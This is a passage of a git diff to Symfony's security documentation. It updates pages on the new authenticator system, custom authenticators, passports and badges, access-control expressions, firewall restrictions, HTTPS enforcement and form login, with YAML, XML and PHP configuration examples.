-            enable_authenticator_manager: true
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-            // ...
-        ]);
-
-The new system is backwards compatible with the current authentication
-system, with some exceptions that will be explained in this article:
-
-* :ref:`Anonymous users no longer exist <authenticators-removed-anonymous>`
-* :ref:`Configuring the authentication entry point is required when more than one authenticator is used <authenticators-required-entry-point>`
-* :ref:`The authentication providers are refactored into Authenticators <authenticators-removed-authentication-providers>`
-
-.. _authenticators-removed-anonymous:
-
-Adding Support for Unsecured Access (i.e. Anonymous Users)
-----------------------------------------------------------
-
-In Symfony, visitors that haven't yet logged in to your website were called
-:ref:`anonymous users <firewalls-authentication>`. The new system no longer
-has anonymous authentication. Instead, these sessions are now treated as
-unauthenticated (i.e. there is no security token). When using
-``isGranted()``, the result will always be ``false`` (i.e. denied) as this
-session is handled as a user without any privileges.
-
-In the ``access_control`` configuration, you can use the new
-``PUBLIC_ACCESS`` security attribute to whitelist some routes for
-unauthenticated access (e.g. the login page):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            access_control:
-                # allow unauthenticated users to access the login form
-                - { path: ^/admin/login, roles: PUBLIC_ACCESS }
-
-                # but require authentication for all other admin routes
-                - { path: ^/admin, roles: ROLE_ADMIN }
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <access-control>
-                    <!-- allow unauthenticated users to access the login form -->
-                    <rule path="^/admin/login" role="PUBLIC_ACCESS"/>
-
-                    <!-- but require authentication for all other admin routes -->
-                    <rule path="^/admin" role="ROLE_ADMIN"/>
-                </access-control>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-
-            // ...
-            'access_control' => [
-                // allow unauthenticated users to access the login form
-                ['path' => '^/admin/login', 'roles' => AccessListener::PUBLIC_ACCESS],
-
-                // but require authentication for all other admin routes
-                ['path' => '^/admin', 'roles' => 'ROLE_ADMIN'],
-            ],
-        ]);
-
-.. _authenticators-required-entry-point:
-
-Configuring the Authentication Entry Point
-------------------------------------------
-
-Sometimes, one firewall has multiple ways to authenticate (e.g. both a form
-login and an API token authentication). In these cases, it is now required
-to configure the *authentication entry point*. The entry point is used to
-generate a response when the user is not yet authenticated but tries to access
-a page that requires authentication. This can be used for instance to redirect
-the user to the login page.
-
-You can configure this using the ``entry_point`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            firewalls:
-                main:
-                    # allow authentication using a form or HTTP basic
-                    form_login: ~
-                    http_basic: ~
-
-                    # configure the form authentication as the entry point for unauthenticated users
-                    entry_point: form_login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <!-- entry-point: configure the form authentication as the entry
-                                  point for unauthenticated users -->
-                <firewall name="main"
-                    entry-point="form_login"
-                >
-                    <!-- allow authentication using a form or HTTP basic -->
-                    <form-login/>
-                    <http-basic/>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // allow authentication using a form or HTTP basic
-                    'form_login' => null,
-                    'http_basic' => null,
-
-                    // configure the form authentication as the entry point for unauthenticated users
-                    'entry_point' => 'form_login'
-                ],
-            ],
-        ]);
-
-.. note::
-
-    You can also create your own authentication entry point by creating a
-    class that implements
-    :class:`Symfony\\Component\\Security\\Http\\EntryPoint\\AuthenticationEntryPointInterface`.
-    You can then set ``entry_point`` to the service id (e.g.
-    ``entry_point: App\Security\CustomEntryPoint``)
-
-.. _authenticators-removed-authentication-providers:
-
-Creating a Custom Authenticator
--------------------------------
-
-Security traditionally could be extended by writing
-:doc:`custom authentication providers </security/custom_authentication_provider>`.
-The authenticator-based system dropped support for these providers and
-introduced a new authenticator interface as a base for custom
-authentication methods.
-
-.. tip::
-
-    :doc:`Guard authenticators </security/guard_authentication>` are still
-    supported in the authenticator-based system. It is however recommended
-    to also update these when you're refactoring your application to the
-    new system. The new authenticator interface has many similarities with the
-    guard authenticator interface, making the rewrite easier.
-
-Authenticators should implement the
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AuthenticatorInterface`.
-You can also extend
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractAuthenticator`,
-which has a default implementation for the ``createAuthenticatedToken()``
-method that fits most use-cases::
-
-    // src/Security/ApiKeyAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\JsonResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Exception\AuthenticationException;
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\UsernameNotFoundException;
-    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
-    use Symfony\Component\Security\Http\Authenticator\Passport\SelfValidatingPassport;
-
-    class ApiKeyAuthenticator extends AbstractAuthenticator
-    {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
-        {
-            $this->entityManager = $entityManager;
-        }
-
-        /**
-         * Called on every request to decide if this authenticator should be
-         * used for the request. Returning `false` will cause this authenticator
-         * to be skipped.
-         */
-        public function supports(Request $request): ?bool
-        {
-            return $request->headers->has('X-AUTH-TOKEN');
-        }
-
-        public function authenticate(Request $request): PassportInterface
-        {
-            $apiToken = $request->headers->get('X-AUTH-TOKEN');
-            if (null === $apiToken) {
-                // The token header was empty, authentication fails with HTTP Status
-                // Code 401 "Unauthorized"
-                throw new CustomUserMessageAuthenticationException('No API token provided');
-            }
-
-            $user = $this->entityManager->getRepository(User::class)
-                ->findOneBy(['apiToken' => $apiToken])
-            ;
-            if (null === $user) {
-                throw new UsernameNotFoundException();
-            }
-
-            return new SelfValidatingPassport($user);
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, string $firewallName): ?Response
-        {
-            // on success, let the request continue
-            return null;
-        }
-
-        public function onAuthenticationFailure(Request $request, AuthenticationException $exception): ?Response
-        {
-            $data = [
-                // you may want to customize or obfuscate the message first
-                'message' => strtr($exception->getMessageKey(), $exception->getMessageData())
-
-                // or to translate this message
-                // $this->translator->trans($exception->getMessageKey(), $exception->getMessageData())
-            ];
-
-            return new JsonResponse($data, Response::HTTP_UNAUTHORIZED);
-        }
-    }
-
-The authenticator can be enabled using the ``custom_authenticators`` setting:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            enable_authenticator_manager: true
-
-            # ...
-            firewalls:
-                main:
-                    custom_authenticators:
-                        - App\Security\ApiKeyAuthenticator
-
-                    # don't forget to also configure the entry_point if the
-                    # authenticator implements AuthenticatorEntryPointInterface
-                    # entry_point: App\Security\CustomFormLoginAuthenticator
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config enable-authenticator-manager="true">
-                <!-- ... -->
-
-                <!-- don't forget to also configure the entry-point if the
-                     authenticator implements AuthenticatorEntryPointInterface
-                <firewall name="main"
-                    entry-point="App\Security\CustomFormLoginAuthenticator"> -->
-
-                <firewall name="main">
-                    <custom-authenticator>App\Security\ApiKeyAuthenticator</custom-authenticator>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\ApiKeyAuthenticator;
-        use Symfony\Component\Security\Http\Firewall\AccessListener;
-
-        $container->loadFromExtension('security', [
-            'enable_authenticator_manager' => true,
-
-            // ...
-            'firewalls' => [
-                'main' => [
-                    'custom_authenticators' => [
-                        ApiKeyAuthenticator::class,
-                    ],
-
-                    // don't forget to also configure the entry_point if the
-                    // authenticator implements AuthenticatorEntryPointInterface
-                    // 'entry_point' => [App\Security\CustomFormLoginAuthenticator::class],
-                ],
-            ],
-        ]);
-
-The ``authenticate()`` method is the most important method of the
-authenticator. Its job is to extract credentials (e.g. username &
-password, or API tokens) from the ``Request`` object and transform these
-into a security
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-
-.. tip::
-
-    If you want to customize the login form, you can also extend from the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\AbstractLoginFormAuthenticator`
-    class instead.
-
-Security Passports
-~~~~~~~~~~~~~~~~~~
-
-A passport is an object that contains the user that will be authenticated as
-well as other pieces of information, like whether a password should be checked
-or if "remember me" functionality should be enabled.
-
-The default
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
-requires a user object and credentials. The following credential classes
-are supported by default:
-
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\PasswordCredentials`
-    This requires a plaintext ``$password``, which is validated using the
-    :ref:`password encoder configured for the user <security-encoding-user-password>`.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
-    Allows a custom closure to check credentials::
-
-        // ...
-        return new Passport($user, new CustomCredentials(
-            // If this function returns anything else than `true`, the credentials
-            // are marked as invalid.
-            // The $credentials parameter is equal to the next argument of this class
-            function ($credentials, UserInterface $user) {
-                return $user->getApiToken() === $credentials;
-            },
-
-            // The custom credentials
-            $apiToken
-        ));
-
-.. note::
-
-    If you don't need any credentials to be checked (e.g. a JWT token), you
-    can use the
-    :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\SelfValidatingPassport`.
-    This class only requires a user and optionally `Passport Badges`_.
-
-Passport Badges
-~~~~~~~~~~~~~~~
-
-The ``Passport`` also optionally allows you to add *security badges*.
-Badges attach more data to the passport (to extend security). By default,
-the following badges are supported:
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\RememberMeBadge`
-    When this badge is added to the passport, the authenticator indicates
-    remember me is supported. Whether remember me is actually used depends
-    on special ``remember_me`` configuration. Read
-    :doc:`/security/remember_me` for more information.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PasswordUpgradeBadge`
-    This is used to automatically upgrade the password to a new hash upon
-    successful login. This badge requires the plaintext password and a
-    password upgrader (e.g. the user repository). See :doc:`/security/password_migration`.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\CsrfTokenBadge`
-    Automatically validates CSRF tokens for this authenticator during
-    authentication. The constructor requires a token ID (unique per form)
-    and CSRF token (unique per request). See :doc:`/security/csrf`.
-
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Badge\\PreAuthenticatedUserBadge`
-    Indicates that this user was pre-authenticated (i.e. before Symfony was
-    initiated). This skips the
-    :doc:`pre-authentication user checker </security/user_checkers>`.
-
-For instance, if you want to add CSRF and password migration to your custom
-authenticator, you would initialize the passport like this::
-
-    // src/Service/LoginAuthenticator.php
-    namespace App\Service;
-
-    // ...
-    use Symfony\Component\Security\Http\Authenticator\AbstractAuthenticator;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\CsrfTokenBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Badge\PasswordUpgradeBadge;
-    use Symfony\Component\Security\Http\Authenticator\Passport\Passport;
-    use Symfony\Component\Security\Http\Authenticator\Passport\PassportInterface;
-
-    class LoginAuthenticator extends AbstractAuthenticator
-    {
-        public function authenticate(Request $request): PassportInterface
-        {
-            $password = $request->request->get('password');
-            $username = $request->request->get('username');
-            $csrfToken = $request->request->get('csrf_token');
-
-            // ... get the $user from the $username and validate no
-            // parameter is empty
-
-            return new Passport($user, new PasswordCredentials($password), [
-                // $this->userRepository must implement PasswordUpgraderInterface
-                new PasswordUpgradeBadge($password, $this->userRepository),
-                new CsrfTokenBadge('login', $csrfToken),
-            ]);
-        }
-    }
diff --git a/security/expressions.rst b/security/expressions.rst
index fefee9bac17..c1bc9717a70 100644
--- a/security/expressions.rst
+++ b/security/expressions.rst
@@ -12,16 +12,23 @@ Security: Complex Access Controls with Expressions
 In addition to a role like ``ROLE_ADMIN``, the ``isGranted()`` method also
 accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression` object::
 
+    // src/Controller/MyController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\ExpressionLanguage\Expression;
-    // ...
+    use Symfony\Component\HttpFoundation\Response;
 
-    public function index()
+    class MyController extends AbstractController
     {
-        $this->denyAccessUnlessGranted(new Expression(
-            '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
-        ));
+        public function index(): Response
+        {
+            $this->denyAccessUnlessGranted(new Expression(
+                '"ROLE_ADMIN" in role_names or (not is_anonymous() and user.isSuperAdmin())'
+            ));
 
-        // ...
+            // ...
+        }
     }
 
 In this example, if the current user has ``ROLE_ADMIN`` or if the current
@@ -38,12 +45,14 @@ Inside the expression, you have access to a number of variables:
 
 ``user``
     The user object (or the string ``anon`` if you're not authenticated).
-``roles``
-    The array of roles the user has. This array includes any roles granted
-    indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
+``role_names``
+    An array with the string representation of the roles the user has. This array
+    includes any roles granted indirectly via the :ref:`role hierarchy <security-role-hierarchy>` but it
     does not include the ``IS_AUTHENTICATED_*`` attributes (see the functions below).
 ``object``
     The object (if any) that's passed as the second argument to ``isGranted()``.
+``subject``
+    It stores the same value as ``object``, so they are equivalent.
 ``token``
     The token object.
 ``trust_resolver``
@@ -64,10 +73,10 @@ Additionally, you have access to a number of functions inside the expression:
 ``is_fully_authenticated()``
     Equal to checking if the user has the ``IS_AUTHENTICATED_FULLY`` role.
 ``is_granted()``
-    Checks if the user has the given permission. Optionally accepts a second argument
-    with the object where permission is checked on. It's equivalent to using
-    the :doc:`isGranted() method </security/securing_services>` from the authorization
-    checker service.
+    Checks if the user has the given permission. Optionally accepts a
+    second argument with the object where permission is checked on. It's
+    equivalent to using the :ref:`isGranted() method <security-isgranted>`
+    from the security service.
 
 .. sidebar:: ``is_remember_me()`` is different than checking ``IS_AUTHENTICATED_REMEMBERED``
 
@@ -80,7 +89,7 @@ Additionally, you have access to a number of functions inside the expression:
         use Symfony\Component\Security\Core\Authorization\AuthorizationCheckerInterface;
         // ...
 
-        public function index(AuthorizationCheckerInterface $authorizationChecker)
+        public function index(AuthorizationCheckerInterface $authorizationChecker): Response
         {
             $access1 = $authorizationChecker->isGranted('IS_AUTHENTICATED_REMEMBERED');
 
diff --git a/security/firewall_restriction.rst b/security/firewall_restriction.rst
index ee0950083bc..3638858efde 100644
--- a/security/firewall_restriction.rst
+++ b/security/firewall_restriction.rst
@@ -44,7 +44,7 @@ if the request path matches the configured ``pattern``.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -64,16 +64,16 @@ if the request path matches the configured ``pattern``.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'pattern' => '^/admin',
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->pattern('^/admin')
+                // ...
+            ;
+        };
 
 The ``pattern`` is a regular expression. In this example, the firewall will only be
 activated if the path starts (due to the ``^`` regex character) with ``/admin``. If
@@ -103,7 +103,7 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -123,16 +123,16 @@ only initialize if the host from the request matches against the configuration.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'host' => '^admin\.example\.com$',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->host('^admin\.example\.com$')
+                // ...
+            ;
+        };
 
 The ``host`` (like the ``pattern``) is a regular expression. In this example,
 the firewall will only be activated if the host is equal exactly (due to
@@ -163,7 +163,7 @@ the provided HTTP methods.
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -183,16 +183,16 @@ the provided HTTP methods.
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'methods' => ['GET', 'POST'],
-                    // ...
-                ],
-            ],
-        ]);
+        return static function (SecurityConfig $security) {
+            // ....
+
+            $security->firewall('secured_area')
+                ->methods(['GET', 'POST'])
+                // ...
+            ;
+        };
 
 In this example, the firewall will only be activated if the HTTP method of the
 request is either ``GET`` or ``POST``. If the method is not in the array of the
@@ -221,7 +221,7 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -241,13 +241,13 @@ If the above options don't fit your needs you can configure any service implemen
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ....
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'secured_area' => [
-                    'request_matcher' => 'app.firewall.secured_area.request_matcher',
-                    // ...
-                ],
-            ],
-        ]);
+            $security->firewall('secured_area')
+                ->requestMatcher('app.firewall.secured_area.request_matcher')
+                // ...
+            ;
+        };
diff --git a/security/force_https.rst b/security/force_https.rst
index 9492e0fece0..2c2a8fe42c2 100644
--- a/security/force_https.rst
+++ b/security/force_https.rst
@@ -31,7 +31,7 @@ access control:
         .. code-block:: xml
 
             <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
+            <?xml version="1.0" encoding="UTF-8" ?>
             <srv:container xmlns="http://symfony.com/schema/dic/security"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xmlns:srv="http://symfony.com/schema/dic/services"
@@ -60,27 +60,29 @@ access control:
         .. code-block:: php
 
             // config/packages/security.php
-            $container->loadFromExtension('security', [
-                // ...
-
-                'access_control' => [
-                    [
-                        'path'             => '^/secure',
-                        'roles'            => 'ROLE_ADMIN',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/login',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                    [
-                        'path'             => '^/',
-                        'role'             => 'IS_AUTHENTICATED_ANONYMOUSLY',
-                        'requires_channel' => 'https',
-                    ],
-                ],
-            ]);
+            use Symfony\Config\SecurityConfig;
+
+            return static function (SecurityConfig $security) {
+                // ....
+
+                $security->accessControl()
+                    ->path('^/secure')
+                    ->roles(['ROLE_ADMIN'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/login')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+
+                $security->accessControl()
+                    ->path('^/')
+                    ->roles(['IS_AUTHENTICATED_ANONYMOUSLY'])
+                    ->requiresChannel('https')
+                ;
+            };
 
 To make life easier while developing, you can also use an environment variable,
 like ``requires_channel: '%env(SECURE_SCHEME)%'``. In your ``.env`` file, set
diff --git a/security/form_login.rst b/security/form_login.rst
index 6400a62206b..4bace9cf2a8 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -1,405 +1,15 @@
 .. index::
    single: Security; Customizing form login redirect
 
-Using the form_login Authentication Provider
-============================================
+Customizing the Form Login Authenticator Responses
+==================================================
 
-.. caution::
+The form login authenticator creates a login form where users authenticate
+using an identifier (e.g. email address or username) and a password. In
+:ref:`security-form-login` the usage of this authenticator is explained.
 
-    To have complete control over your login form, we recommend building a
-    :doc:`form login authentication with Guard </security/form_login_setup>`.
-
-Symfony comes with a built-in ``form_login`` system that handles a login form
-POST automatically. Before you start, make sure you've followed the
-:doc:`Security Guide </security>` to create your User class.
-
-form_login Setup
-----------------
-
-First, enable ``form_login`` under your firewall:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    anonymous: true
-                    lazy: true
-                    form_login:
-                        login_path: login
-                        check_path: login
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <firewall name="main" anonymous="true" lazy="true">
-                    <form-login login-path="login" check-path="login"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'form_login' => [
-                        'login_path' => 'login',
-                        'check_path' => 'login',
-                    ],
-                ],
-            ],
-        ]);
-
-.. tip::
-
-    The ``login_path`` and ``check_path`` can also be route names (but cannot
-    have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
-    default value).
-
-Now, when the security system initiates the authentication process, it will
-redirect the user to the login form ``/login``. Implementing this login form
-is your job. First, create a new ``SecurityController``::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-
-    class SecurityController extends AbstractController
-    {
-    }
-
-Next, configure the route that you earlier used under your ``form_login``
-configuration (``login``):
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"GET", "POST"})
-             */
-            public function login()
-            {
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: GET|POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="GET|POST"/>
-        </routes>
-
-    ..  code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['GET', 'POST'])
-            ;
-        };
-
-Great! Next, add the logic to ``login()`` that displays the login form::
-
-    // src/Controller/SecurityController.php
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    public function login(AuthenticationUtils $authenticationUtils)
-    {
-        // get the login error if there is one
-        $error = $authenticationUtils->getLastAuthenticationError();
-
-        // last username entered by the user
-        $lastUsername = $authenticationUtils->getLastUsername();
-
-        return $this->render('security/login.html.twig', [
-            'last_username' => $lastUsername,
-            'error'         => $error,
-        ]);
-    }
-
-.. note::
-
-    If you get an error that the ``$authenticationUtils`` argument is missing,
-    it's probably because the controllers of your application are not defined as
-    services and tagged with the ``controller.service_arguments`` tag, as done
-    in the :ref:`default services.yaml configuration <service-container-services-load-example>`.
-
-Don't let this controller confuse you. As you'll see in a moment, when the
-user submits the form, the security system automatically handles the form
-submission for you. If the user submits an invalid username or password,
-this controller reads the form submission error from the security system,
-so that it can be displayed back to the user.
-
-In other words, your job is to *display* the login form and any login errors
-that may have occurred, but the security system itself takes care of checking
-the submitted username and password and authenticating the user.
-
-Finally, create the template:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-    {# ... you will probably extend your base template, like base.html.twig #}
-
-    {% if error %}
-        <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-    {% endif %}
-
-    <form action="{{ path('login') }}" method="post">
-        <label for="username">Username:</label>
-        <input type="text" id="username" name="_username" value="{{ last_username }}"/>
-
-        <label for="password">Password:</label>
-        <input type="password" id="password" name="_password"/>
-
-        {#
-            If you want to control the URL the user
-            is redirected to on success (more details below)
-            <input type="hidden" name="_target_path" value="/account"/>
-        #}
-
-        <button type="submit">login</button>
-    </form>
-
-.. tip::
-
-    The ``error`` variable passed into the template is an instance of
-    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
-    It may contain more information - or even sensitive information - about
-    the authentication failure, so use it wisely!
-
-The form can look like anything, but it usually follows some conventions:
-
-* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
-  that's what you configured under the ``form_login`` key in ``security.yaml``;
-* The username field has the name ``_username`` and the password field has the
-  name ``_password``.
-
-.. tip::
-
-    Actually, all of this can be configured under the ``form_login`` key. See
-    :ref:`reference-security-firewall-form-login` for more details.
-
-.. caution::
-
-    This login form is currently not protected against CSRF attacks. Read
-    :ref:`form_login-csrf` on how to protect your login form.
-
-And that's it! When you submit the form, the security system will automatically
-check the user's credentials and either authenticate the user or send the
-user back to the login form where the error can be displayed.
-
-To review the whole process:
-
-#. The user tries to access a resource that is protected;
-#. The firewall initiates the authentication process by redirecting the
-   user to the login form (``/login``);
-#. The ``/login`` page renders login form via the route and controller created
-   in this example;
-#. The user submits the login form to ``/login``;
-#. The security system intercepts the request, checks the user's submitted
-   credentials, authenticates the user if they are correct, and sends the
-   user back to the login form if they are not.
-
-.. _form_login-csrf:
-
-CSRF Protection in Login Forms
-------------------------------
-
-`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
-CSRF tokens into the login forms. The Security component already provides CSRF
-protection, but you need to configure some options before using it.
-
-First, configure the CSRF token provider used by the form login in your security
-configuration. You can set this to use the default provider available in the
-security component:
-
-.. configuration-block::
